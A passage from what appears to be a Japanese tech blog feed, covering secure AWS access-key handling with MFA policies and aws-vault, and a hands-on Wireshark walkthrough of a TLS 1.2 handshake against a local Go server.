<p><strong>そもそもアクセスキーを使うべきではない、というのが公式回答ではあります</strong>が、冒頭述べたような理由でどうしてもアクセスキーが必要な場合は、どうすべきかを考えてみます。<br>先ほど述べた、①認証の強度、②被害範囲の最小化、③利便性の獲得の3つの観点から何ができるかを整理します。</p>
<h4 id="①認証の強度">①認証の強度</h4><p>アクセスキー利用時に必要な認証強度を考えてみます。<br>まずは、通常のコンソールアクセス時にどのような制限をかけるべきかを参考にしましょう。</p>
<p>SEC02-BP01 強力なサインインメカニズムを使用する</p>
<blockquote>
<p>IAM ポリシーを作成して、MFA サインインを適用し、ユーザーが自分のパスワードと MFA デバイスを管理できるようにします。</p>
</blockquote>
<p><strong>何かしらの手段で他要素での認証をかけることは必須</strong>と言えそうです。</p>
<p>しかし、<strong>アクセスキーを利用する場合は、一部の操作を除き、多要素での認証ができません</strong><sup id="fnref:1">1</sup>。たとえ、ログイン用にMFAデバイスの登録がある場合でも、それを使い追加認証をする手段が現時点ではありません。</p>
<p>そのため<strong>アクセスキーを使う場合は必要な認証の強度を実現できない</strong>という前提に立つ必要があります。</p>
<h4 id="②被害範囲の最小化">②被害範囲の最小化</h4><p>被害範囲の最小化を実現するためには、前段で述べたように、認証情報を利用して作業ができる範囲を絞ることが必要です。</p>
<p>①の場合と同様に、通常のコンソールアクセス時にどのような制限をかけるべきかを参考にします。</p>
<p>IAM: IAM ユーザーに MFA デバイスの自己管理を許可する <sup id="fnref:2">2</sup></p>
<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;Sid&quot;</span><span class="punctuation">:</span> <span class="string">&quot;BlockMostAccessUnlessSignedInWithMFA&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Effect&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Deny&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;NotAction&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="string">&quot;iam:CreateVirtualMFADevice&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;iam:EnableMFADevice&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;iam:ListMFADevices&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;iam:ListUsers&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;iam:ListVirtualMFADevices&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="string">&quot;iam:ResyncMFADevice&quot;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Resource&quot;</span><span class="punctuation">:</span> <span class="string">&quot;*&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;Condition&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;BoolIfExists&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;aws:MultiFactorAuthPresent&quot;</span><span class="punctuation">:</span> <span class="string">&quot;false&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>

<p>上記ポリシー例では、<strong>MFAデバイスなしでサインインしている場合は、MFAデバイスの登録に必要な権限のみを与え、他の作業をする際はMFAを必須</strong>としています。<br>「アクセスキーを単独で利用している状態」は「MFAデバイスなしでサインインしている状態」と同じですので、<strong>アクセスキーを使う場合についても、自身のロックアウトを防ぐ権限以外は付与しないこと</strong>が、被害拡大の防止の観点からは必要と言えます。</p>
<p>また、本記事の趣旨と外れますが、アクセスを許可するIPアドレスを絞ることも強力な手段の1つです。</p>
<h4 id="③利便性の獲得">③利便性の獲得</h4><p>①・②の考察を総合すると通常の作業をする際はMFA認証した状態で作業することが要求されそうです。</p>
<p>前述の通り、アクセスキー+MFAという組み合わせで認証はできませんので、<strong>STSを利用した一時的な認証情報<sup id="fnref:3">3</sup>が必要</strong>となります。</p>
<p>また、合わせて、認証情報の保管についても考慮が必要です。</p>
<p>SEC02-BP03 シークレットを安全に保存して使用する</p>
<blockquote>
<p>一般的なアンチパターン:<br>認証情報をローテーションしない。<br>ソースコードまたは設定ファイルに長期的認証情報を保管する。<br>認証情報を暗号化せずに保管する。</p>
</blockquote>
<p>通常、<code>aws configure</code>等で設定をしたアクセスキーは<code>~/.aws/credentials</code>に平文で保存されてしまいますが、こちらは非推奨な設定であって、<strong>アクセスキー自体の保管にもシェルスクリプトやツールを使った暗号化が必要</strong>そうです。</p>
<p>また、セッショントークンには有効期限があるため、実利用時には<strong>現時点で取得できているセッショントークンの有効期限の管理を組み込む必要</strong>があります。</p>
<h2 id="実践編">実践編</h2><p>上記を簡単に解決する手段として、aws-vaultを使うことができます。</p>
<p>このツールは、アクセスキーの暗号化ができるだけではなく、セッショントークンの取得や暗号化、有効期限管理と自動更新、さらにあたかもEC2内のトークンサーバーのように動く機能を持つなど、<strong>認証情報管理の十徳ナイフ的なツール</strong>です。また、暗号化のバックエンドを選ぶことができ、Windows Credential Manager、OS X Keychain、Gnome Keyringなど、各OSに付随する暗号化サービスを利用できます。</p>
<p>どのような設定で利用すれば、先に述べた要求を満たすツールとなるのでしょうか。</p>
<h3 id="STSを取得するようにする">STSを取得するようにする</h3><p>aws-vaultはデフォルトで<code>sts get-session-token</code>を使ったSTSを利用します。<br>ただし、MFAを利用して認証をかけるためには<code>~/.aws/config</code>ファイルに<code>mfa_serial</code>設定が必要になります。</p>
<figure class="highlight toml"><table><tr><td class="code"><pre><span class="line"><span class="section">[profile jumpuser]</span></span><br><span class="line"><span class="attr">mfa_serial</span>=arn:aws:iam::&#123;account-id&#125;:mfa/&#123;mfa-device&#125;</span><br></pre></td></tr></table></figure>

<p>こちらは、AssumeRoleをする場合も同様で、<code>mfa_serial</code>があるプロファイルに関しては、<code>sts assume-role</code>にてSTSを取得しますが、ないプロファイルについてはSTSを取得しにいきません。</p>
<figure class="highlight toml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># STSを使う</span></span><br><span class="line"><span class="section">[profile dev]</span></span><br><span class="line"><span class="attr">source_profile</span>=jumpuser</span><br><span class="line"><span class="attr">role_arn</span>=arn:aws:iam::&#123;account-id&#125;:role/&#123;role-name&#125;</span><br><span class="line"><span class="attr">mfa_serial</span>=arn:aws:iam::&#123;account-id&#125;:mfa/&#123;mfa-device&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># STSを使わない</span></span><br><span class="line"><span class="section">[profile dev]</span></span><br><span class="line"><span class="attr">source_profile</span>=jumpuser</span><br><span class="line"><span class="attr">role_arn</span>=arn:aws:iam::&#123;account-id&#125;:role/&#123;role-name&#125;</span><br></pre></td></tr></table></figure>

<p>わかりにくいですが、ここに詳細が載っています。</p>
<h3 id="WSL2上で使うには…？">WSL2上で使うには…？</h3><p>WindowsのWSL2を利用する方も多いと思います。</p>
<p>その際の悩ましい問題として、暗号化バックエンドとしてWindowsを使うべきか、Linuxを使うべきかの問題があると思います。<br>結論、どちらでもよいと思う<sup id="fnref:4">4</sup>のですが、簡単にPros&#x2F;Consをまとめてみました。</p>
<div class="scroll"><table>
<thead>
<tr>
<th align="left">比較観点</th>
<th align="left">Windows Credential Manager</th>
<th align="left">pass</th>
<th align="left">(参考) Secret Service</th>
</tr>
</thead>
<tbody><tr>
<td align="left">aws-vaultを実行できる環境</td>
<td align="left">Windowsのみ</td>
<td align="left">Linuxのみ</td>
<td align="left">Linuxのみ</td>
</tr>
<tr>
<td align="left">暗号キーの管理</td>
<td align="left">✅️不要(OS側で管理)</td>
<td align="left">⚠️自身で管理が必要</td>
<td align="left">✅️不要(OS側で管理)</td>
</tr>
<tr>
<td align="left">復号化できる人</td>
<td align="left">ログインユーザー</td>
<td align="left">GPG鍵へのアクセス権を持つ人</td>
<td align="left">ログインユーザー</td>
</tr>
<tr>
<td align="left">WSL2上での動作</td>
<td align="left">Windowsバイナリを実行させる形で可能</td>
<td align="left">WSL上で通常のLinuxコマンドと同様に実行</td>
<td align="left">WSLg等の設定が必要かも</td>
</tr>
<tr>
<td align="left">その他考慮点</td>
<td align="left">aws-vault execがcmd.exeを呼ぶため、execコマンドを使いたい場面では不適</td>
<td align="left">Windows上でawsコマンドを打ちたい場合は不適</td>
<td align="left">WSLgとDBUSの相性がよくないため、うまく動かすまで時間がかかる印象</td>
</tr>
</tbody></table></div>
<p>私はWindows Credential Managerを使うのがわかりやすいと感じましたので、その設定例を示します。</p>
<h4 id="WSLを越境してCredential-Managerを使う">WSLを越境してCredential Managerを使う</h4><p>このケースでは、Windows側の<code>%UserProfile%\.aws\config</code>ファイルと、Linux側の<code>~/.aws/config</code>ファイルをお互いに意識して管理することが必要です。</p>
<p>仕組みとしては、Windows側で認証情報を管理し、Linux側でaws-cli等を呼び出す場合は、credential_processで<code>aws-vault.exe</code>を叩いて、セッショントークンをWindows側から取得するようにします。</p>
<p>こうすることで、Linux側では通常のように<code>--profile</code>オプションによるAssumeRoleを行いつつ、アクセスキーや取得した一時認証情報をWindows側に保持し続けることができます。</p>
<figure class="highlight toml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Windows側のファイル</span></span><br><span class="line"><span class="section">[default]</span></span><br><span class="line"><span class="attr">region</span>=ap-northeast-<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="section">[profile jumpuser]</span></span><br><span class="line"><span class="attr">mfa_serial</span>=arn:aws:iam::&#123;account-id&#125;:mfa/&#123;mfa-device&#125;</span><br><span class="line"></span><br><span class="line"><span class="section">[profile dev]</span></span><br><span class="line"><span class="attr">include_profile</span>=jumpuser</span><br><span class="line"><span class="attr">source_profile</span>=jumpuser</span><br><span class="line"><span class="attr">role_arn</span>=arn:aws:iam::&#123;account-id&#125;:role/&#123;role-name&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight toml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Linux側のファイル</span></span><br><span class="line"><span class="section">[default]</span></span><br><span class="line"><span class="attr">region</span>=ap-northeast-<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="section">[profile dev]</span></span><br><span class="line"><span class="attr">credential_process</span>=aws-vault.exe export --format=json dev</span><br></pre></td></tr></table></figure>

<h2 id="さいごに">さいごに</h2><p>今回初めての寄稿だったのですが、普段の業務で感覚値的にはこうだろうと思っていることを紐解いて、改めてなんでなんだっけ？と考えるのは非常によい機会になりました。</p>
<p>改めてWell-architected Frameworkを読み込んだり、aws-vaultのマニュアルを読んだり、あるいはWindows Credential Managerの仕様を調べたりしてみて、一次リソースを読むのはやっぱり大事だなと思うと共に、実はこうするのがよかったのでは？ということも色々発見できたので、やはり感覚だけではなく、人に読んで貰う読み物を作るという行為は大事だなと改めて感じました。</p>
<div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none; padding-left: 0;"><li id="fn:1"><span style="vertical-align: top; padding-right: 10px;">1.</span><span style="vertical-align: top;">STSを取得する場合を除く</span> ↩</li><li id="fn:2"><span style="vertical-align: top; padding-right: 10px;">2.</span><span style="vertical-align: top;">iam:ListUsersがなくとも、iam:GetUserに変更することで、さらに最小権限の設定ができます</span> ↩</li><li id="fn:3"><span style="vertical-align: top; padding-right: 10px;">3.</span><span style="vertical-align: top;"><code>aws sts get-session-token</code>や<code>aws sts assume-role</code>などで得られる</span> ↩</li><li id="fn:4"><span style="vertical-align: top; padding-right: 10px;">4.</span><span style="vertical-align: top;">keyctlへも対応しているため、WSL上でTPMが利用できるようになったタイミングではkeyctlを使う方式がよくなると思われるが、現時点ではTPM上の暗号化キーを使えるバックエンドがない</span> ↩</li></ol></div></div>]]></content>
    <summary type="html">社内Slackにてユーザーが利用するAWSアクセスキー管理のベスプラとはなんぞや？という話題が出たのがキッカケで、改めて自分の理解の棚卸も兼ねて、どういう管理方法をすればいいのかを考えてみました</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="AWS" scheme="https://future-architect.github.io/tags/AWS/"/>
    <category term="Vault" scheme="https://future-architect.github.io/tags/Vault/"/>
  </entry>
  <entry>
    <title>【実践編】HTTPS通信の中身を見て、どのようにしてセキュアな通信が確立されるかを理解する</title>
    <link href="https://future-architect.github.io/articles/20250325a/"/>
    <id>https://future-architect.github.io/articles/20250325a/</id>
    <published>2025-03-24T15:00:00.000Z</published>
    <updated>2025-03-24T15:00:00.000Z</updated>
    <author><name>市川裕也</name></author>
    <content type="html"><![CDATA[<p>こんにちは、CSIG 所属の市川です。普段は FutureVuls という脆弱性管理サービスの開発・カスタマーサポートをしています。</p>
<p>【理論編】HTTPS通信の中身を見て、どのようにしてセキュアな通信が確立されるかを理解するの続編です。</p>
<p>TLSハンドシェイクの中身を順番に見ていくため、理論編で示したシーケンス図をチラ見しながら読んでいただけると理解が進みやすいかと思います。</p>
<p>また、TLSハンドシェイクについて理解を深めたい方は、あわせて理論編もお読みください。</p>
<h2 id="本記事-実践編-でやりたいこと">本記事 (実践編) でやりたいこと</h2><p>理論編では、以下の3点について解説してきました。</p>
<ul>
<li>各アルゴリズムが何のために使われるかを整理する</li>
<li>TLS1.2ハンドシェイクを、シーケンス図を用いて整理する</li>
<li>鍵交換方式について理解を深める</li>
</ul>
<p>本記事 (実践編) では、<strong>「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認していきます。</strong></p>
<div class="note-container note-warn"><span class="note-icon"></span><div>

<p>TLS1.3 だと、ハンドシェイクの序盤で通信が暗号化されるのですが、今回の環境では通信の復号がうまく行えず、ハンドシェイクの中身を平文で確認できませんでした。そのため、本記事では TLS1.2 の通信を扱います。</p>
<p>TLS1.3ハンドシェイクはTLS1.2ハンドシェイクとは大きく異なります。TLS1.3 について理解したい方は、プロフェッショナルTLS＆PKI 改題第2版などの書籍などを参考にしてください。</p>
</div></div>

<p>では、いきましょう。</p>
<h2 id="実践編">実践編</h2><p>実践編では、具体的に以下について確認していきます。</p>
<ul>
<li>HTTP 通信では、平文がそのまま見えてしまうこと</li>
<li>理論編のシーケンス図で示した、TLS1.2 ハンドシェイクの各フェーズ ( <code>Client Hello</code> , <code>Server key exchange</code> 等) で送信される情報</li>
<li>HTTPS 通信ではデータが暗号化されており、平文の内容を確認できないこと</li>
</ul>
<h2 id="準備">準備</h2><p>通信の中身を見るための準備について簡潔に記載します。</p>
<p>不要な方は、通信の中身を見てみる まで飛んでください。</p>
<h3 id="準備1-証明書の作成">準備1: 証明書の作成</h3><p>HTTPS 通信では、公開鍵が被証明者のものであることを証明するため、「証明書」を用います。</p>
<p>手元でHTTPS 通信するための準備として、自己証明書を作成しました。</p>
<p>具体的には、以下の手順を実行します。</p>
<ul>
<li>秘密鍵の生成</li>
<li>CSR (Certificate Signing Request, 証明書署名要求) の作成</li>
<li>自己証明書の作成</li>
</ul>
<p>OpenSSL を使って証明書を作成します。証明書の作成方法については、 食べる！SSL！ ―HTTPS環境構築から始めるSSL入門 などを参考にしました。</p>
<h4 id="1-1-秘密鍵の作成">1-1. 秘密鍵の作成</h4><p>以下コマンドで生成します。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openssl genrsa 2048 &gt; /path/to/server.key</span><br></pre></td></tr></table></figure>

<p><code>openssl req -text &lt; server.key</code> コマンドで、確認できます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">RSA Private-Key: (2048 bit)</span><br><span class="line">modulus:</span><br><span class="line">    00:b3:a8:59:~</span><br><span class="line">publicExponent: 65537 (0x10001)</span><br><span class="line">privateExponent:</span><br><span class="line">    02:2a:4d:ae:~~</span><br><span class="line">prime1:</span><br><span class="line">    00:e7:d1:1b:~~</span><br><span class="line">prime2:</span><br><span class="line">    00:c6:66:47:~~</span><br><span class="line">exponent1:</span><br><span class="line">    73:ad:3d:dc:~~</span><br><span class="line">exponent2:</span><br><span class="line">    53:fb:ab:ae:~~</span><br><span class="line">coefficient:</span><br><span class="line">    00:<span class="built_in">dd</span>:02:c8:~~</span><br><span class="line">writing RSA key</span><br><span class="line">-----BEGIN RSA PRIVATE KEY-----</span><br><span class="line">~~</span><br><span class="line">-----END RSA PRIVATE KEY-----</span><br></pre></td></tr></table></figure>

<h4 id="1-2-CSR-の作成">1-2. CSR の作成</h4><p>以下コマンドで作成します。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openssl req -new -key /etc/~/server.key &gt; ~~/server.csr</span><br></pre></td></tr></table></figure>

<p>以下が確認できます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">Certificate Request:</span><br><span class="line">    Data:</span><br><span class="line">        Version: 0 (0x0)</span><br><span class="line">        Subject: C=JP, ST=Tokyo, L=hoge, O=hogehoge corp., CN=local.hoge/emailAddress=hogehoge@gmail.com</span><br><span class="line">        Subject Public Key Info:</span><br><span class="line">            Public Key Algorithm: rsaEncryption</span><br><span class="line">                RSA Public-Key: (2048 bit)</span><br><span class="line">                Modulus:</span><br><span class="line">                    00:b3:a8:59:~~</span><br><span class="line">                Exponent: 65537 (0x10001)</span><br><span class="line">        Attributes:</span><br><span class="line">            a0:00</span><br><span class="line">    Signature Algorithm: sha512WithRSAEncryption</span><br><span class="line">         89:84:54:66:~~</span><br><span class="line">-----BEGIN CERTIFICATE REQUEST-----</span><br><span class="line">~~</span><br><span class="line">-----END CERTIFICATE REQUEST-----</span><br></pre></td></tr></table></figure>

<h4 id="1-3-証明書の作成">1-3. 証明書の作成</h4><p>以下コマンドで、証明書を作成します。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openssl x509 -req -signkey server.key -<span class="keyword">in</span> server.csr -out server.crt -extfile SAN.txt</span><br></pre></td></tr></table></figure>

<h3 id="準備2-サーバー立ち上げ">準備2: サーバー立ち上げ</h3><p>今回は Go を使ってサーバーの立ち上げを行いました。 <code>https</code> フラグを指定することで HTTPS ポートが開かれるようになっています。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;flag&quot;</span></span><br><span class="line">	<span class="string">&quot;fmt&quot;</span></span><br><span class="line">	<span class="string">&quot;net/http&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">handler</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> &#123;</span><br><span class="line">	fmt.Fprintf(w, <span class="string">&quot;Hello World&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">	<span class="keyword">var</span> httpsFlag = flag.Bool(<span class="string">&quot;https&quot;</span>, <span class="literal">false</span>, <span class="string">&quot;bool flag&quot;</span>)</span><br><span class="line"></span><br><span class="line">	flag.Parse()</span><br><span class="line">	fmt.Printf(<span class="string">&quot;param -https : %t\n&quot;</span>, *httpsFlag)</span><br><span class="line"></span><br><span class="line">	http.HandleFunc(<span class="string">&quot;/&quot;</span>, handler)</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span> *httpsFlag &#123;</span><br><span class="line">		certFile := <span class="string">&quot;server.crt&quot;</span></span><br><span class="line">		keyFile := <span class="string">&quot;server.key&quot;</span></span><br><span class="line"></span><br><span class="line">		fmt.Println(<span class="string">&quot;Starting server on port :8443&quot;</span>)</span><br><span class="line">		<span class="keyword">if</span> err := http.ListenAndServeTLS(<span class="string">&quot;:8443&quot;</span>, certFile, keyFile, <span class="literal">nil</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">			fmt.Println(err)</span><br><span class="line">		&#125;</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		fmt.Println(<span class="string">&quot;Starting server on port :8080&quot;</span>)</span><br><span class="line">		<span class="keyword">if</span> err := http.ListenAndServe(<span class="string">&quot;:8080&quot;</span>, <span class="literal">nil</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">			fmt.Println(err)</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h2 id="通信の中身を見てみる">通信の中身を見てみる</h2><p>準備が整ったので、通信の中身を見ていきましょう。</p>
<p>通信の中身を見るにあたり「Wireshark」というツールを用いました。ここからダウンロードできます。</p>
<h3 id="HTTP-通信の場合">HTTP 通信の場合</h3><p>以下でサーバー立ち上げを行い、</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">go run main.go</span><br></pre></td></tr></table></figure>

<p>curl で GET リクエストを送ってみます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl -i http://localhost:8080</span><br></pre></td></tr></table></figure>

<p>ここで、Wireshark でパケットを確認してみます。<br>サーバから返される <code>Hello World!</code> というテキストが、平文のまま送信されていることが分かりますね。<br><img fetchpriority="high" src="/images/2025/20250325a/http_平文.png" alt="http_平文.png" width="1200" height="975"></p>
<h4 id="HTTPS-通信の場合">HTTPS 通信の場合</h4><p>サーバーを立ち上げた後、</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">go run main.go -https</span><br></pre></td></tr></table></figure>

<p>curl でリクエストを送ります。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl --tls-max 1.2 --insecure -i https://localhost:8443</span><br></pre></td></tr></table></figure>

<div class="note-container note-warn note-has-title"><div class="note-title"><span class="note-icon"></span>自己証明書を使用している場合、 <code>--insecure</code> オプションが必要です。</div><div class="note-body">

<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">man curl</span></span><br><span class="line">  -k, --insecure</span><br><span class="line">              (TLS SFTP SCP) By default, every secure connection curl makes is verified to be secure before the transfer takes place. This option</span><br><span class="line">              makes curl skip the verification step and proceed without checking.</span><br><span class="line"></span><br><span class="line">              When this option is not used for protocols using TLS, curl verifies the server&#x27;s TLS certificate before it continues: that the</span><br><span class="line">              certificate contains the right name which matches the host name used in the URL and that the certificate has been signed by a CA</span><br><span class="line">              certificate present in the cert store.  See this online resource for further details:</span><br><span class="line">               https://curl.se/docs/sslcerts.html</span><br></pre></td></tr></table></figure>

</div></div>

<p>Wireshark でパケットを確認してみます。</p>
<p>通信データが <code>Encrypted Application Data</code> となっています。無事暗号化されていることが分かりますね。</p>
<img src="/images/2025/20250325a/application_data.png" alt="application_data.png" width="1200" height="678" loading="lazy">

<h2 id="本題-HTTPS-通信の際の-TLSハンドシェイクを追ってみる">本題: HTTPS 通信の際の TLSハンドシェイクを追ってみる</h2><p>では、暗号化されるまでに、どんな情報がクライアントとサーバー間でやりとりされているかを、順を追って見ていきます。</p>
<p>必要に応じて、「理論編」の「シーケンス図」も参考にしていただければと思います。</p>
<p>再度 curl でリクエストを送ります。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl --tls-max 1.2 --insecure -i https://localhost:8443</span><br></pre></td></tr></table></figure>

<div class="note-container note-warn"><span class="note-icon"></span><div>

<p>TLS1.3ハンドシェイクの復号が難しかったため、TLS1.2を指定しています。</p>
</div></div>

<h3 id="（1）-Client-Hello">（1） Client Hello</h3><p>クライアント側が、対応している暗号スイートの一覧をサーバーに送っていることが分かります。</p>
<p>また、ランダム文字列 <code>Random</code> も一緒に送信していることが分かります。これはマスタシークレットの生成に使用されます。</p>
<img src="/images/2025/20250325a/client_hello_tls1.2.png" alt="client_hello_tls1.2.png" width="1200" height="873" loading="lazy">

<h3 id="（2）-Server-Hello">（2） Server Hello</h3><p>サーバーが、選択した暗号スイート (<code>TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</code>) をクライアントに伝えています。</p>
<ul>
<li>鍵交換アルゴリズム : <code>ECDHE (Elliptic Curve Deffie Helman Ephemeral)</code></li>
<li>認証: <code>RSA</code></li>
<li>ハッシュアルゴリズム: <code>SHA256</code></li>
<li>暗号化アルゴリズム: <code>AES128_GCM</code></li>
</ul>
<p>また、ランダム文字列 <code>Random</code> も一緒に送信していることが分かります。（1）と同様、マスタシークレットの生成に使用されます。</p>
<img src="/images/2025/20250325a/server_hello_tls1.2.png" alt="server_hello_tls1.2.png" width="1200" height="830" loading="lazy">

<h3 id="（3）-Certificate">（3） Certificate</h3><p>サーバー側がサーバー証明書をクライアントに送信しています。</p>
<ul>
<li>証明書作成&#x2F;検証のためのアルゴリズムとして <code>sha256WithRSAEncryption</code> が採択されていることが分かります</li>
<li>クライアントは、以下の手法でサーバ証明書の正当性を検証します。<ul>
<li>サーバの証明書からハッシュ値を生成する ( <code>hash_a</code> とする)</li>
<li>この証明書に付属している電子署名を、公開鍵を用いて復号する ( <code>hash_b</code> とする)</li>
<li><code>hash_a</code> と <code>hash_b</code> が一致することを確認する</li>
</ul>
</li>
</ul>
<img src="/images/2025/20250325a/server_certificate_mask_tls1.2.png" alt="server_certificate_mask_tls1.2.png" width="1200" height="915" loading="lazy">

<h4 id="（4）-Server-Key-Exchange">（4） Server Key Exchange</h4><p>鍵交換アルゴリズムとして ECDHE を使用していることが確認できます。</p>
<p>Server Key Exchangeで、サーバーは named_curve (楕円曲線暗号の事前パラメータ群の名前) として <code>x25519</code> を選択しています。<br><code>Pubkey</code> (公開鍵) も同時に送信しています。(シーケンス図の公開鍵 <em>B_pub</em> に相当)</p>
<p>また、 <code>signature</code> (電子署名) も送られてきていることがわかります。これは、 DH パラメータに対してサーバーの RSA 秘密鍵を適用することで作成された電子署名です。named_curve や pubkey が正当なサーバから送られてきていることを検証するために用いられます。<br>※ サーバ証明書に付属されている電子署名とは異なるものなので、混乱しないよう気をつけてください。</p>
<img src="/images/2025/20250325a/server_key_exchange.png" alt="server_key_exchange.png" width="1200" height="739" loading="lazy">

<h3 id="（6）-Client-Key-Exchange">（6） Client Key Exchange</h3><p>クライアント側も、Client Key Exchange で public key を送信しています。 (シーケンス図の秘密鍵 <em>A_pub</em> に相当)</p>
<img src="/images/2025/20250325a/client_key_exchange.png" alt="client_key_exchange.png" width="1200" height="829" loading="lazy">

<h3 id="（7）-（10）-Change-cipher-spec-Finished">（7）~（10）: Change cipher spec, Finished</h3><p>Change Cipher Spec で暗号化モードに切り替えます。</p>
<p>また、Finished の <code>Verify Data</code> で、全メッセージのハッシュ値を用いて改ざん検知を行います。</p>
<p>(client 側のものだけ載せます)</p>
<img src="/images/2025/20250325a/client_cipher_spec_finished.png" alt="client_cipher_spec_finished.png" width="1200" height="807" loading="lazy">

<h4 id="暗号化後の通信">暗号化後の通信</h4><p>データが暗号化され、謎の文字列になっていることが分かります。やったね。</p>
<img src="/images/2025/20250325a/application_data_2.png" alt="application_data.png" width="1200" height="678" loading="lazy">

<h2 id="おまけ-HTTPS-通信を復号してみる">おまけ: HTTPS 通信を復号してみる</h2><p><code>SSLKEYLOGFILE</code> を指定することで、プリマスタシークレットキーをファイルに書き出すことができます。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">SSLKEYLOGFILE=/path/to/sslkeys.log curl  --insecure --tls-max 1.2  -i https://localhost:8443</span><br></pre></td></tr></table></figure>

<p>このプリマスタシークレットキーが書き出されたファイルを、以下のように Wireshark 内の設定で指定してあげることで、データの復号できます。</p>
<img src="/images/2025/20250325a/スクリーンショット_2024-12-29_22.47.07.png" alt="スクリーンショット_2024-12-29_22.47.07.png" width="1200" height="923" loading="lazy">

<p>詳しくは Wireshark の Wiki や こちらの記事 をご覧ください。</p>
<p>すると、Protocolが TLSv1.2 → HTTP2 に変わっていることが分かります！</p>
<p><code>Hello World!</code> が get されていることが分かります。無事 (？) 復号されていますね。</p>
<img src="/images/2025/20250325a/decrypted_text.png" alt="decrypted_text.png" width="1200" height="864" loading="lazy">

<h2 id="まとめ">まとめ</h2><p>通信の中身を追ってみたことで、どのように SSL&#x2F;TLS ハンドシェイクが行われ、セキュアな通信が確立されるかを、実感をともなって理解できました。</p>
<p>また、ハンドシェイク後、実際にデータが暗号化されていることも確認できました。</p>
<p>みなさんも、通信の中身を追ってみると色々と面白いことがわかるかもしれません。</p>
<p>おわり。</p>
<h2 id="参考文献">参考文献</h2><p>(※ 理論編に載せてあるものと同じです)</p>
<p><strong>⚪︎全体</strong></p>
<p>SSL&#x2F;TLS の仕組みを勉強する上で、以下の技術書が非常に参考になりました。</p>
<p>特に、1冊目は非常に体系的かつ網羅的にまとまっているので、SSL&#x2F;TLS について勉強したい人は持っておいて損はないと思います。2冊目も分かりやすく、SSL&#x2F;TLS について応用情報程度の知識しかなかった自分でも理解しやすかったです。自己証明書の作成なども、こちらの本を参考にしました。 (ただし、少し古めの本で、TLS1.3 については書かれていません。)</p>
<ul>
<li>プロフェッショナルTLS＆PKI 改題第2版</li>
<li>食べる！SSL！　―HTTPS環境構築から始めるSSL入門</li>
</ul>
<p><strong>⚪︎ DHの理解</strong></p>
<p>Diffie-Hellman 鍵交換方式については、以下を参考にしました。</p>
<ul>
<li>RFC 7748 - Elliptic Curves for Security 日本語訳</li>
<li>TLS・SSLハンドシェイクの仕組みは？ | Cloudflare</li>
<li>楕円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）</li>
<li>RFC 7748 - Elliptic Curves for Security</li>
<li>Standards for Efficient Cryptography | SEC 2: Recommended Elliptic Curve Domain Parameters</li>
</ul>
<p><strong>⚪︎ Wireshark</strong></p>
<p>wireshake でハンドシェイクを確認する方法については、以下を参考にしました。</p>
<ul>
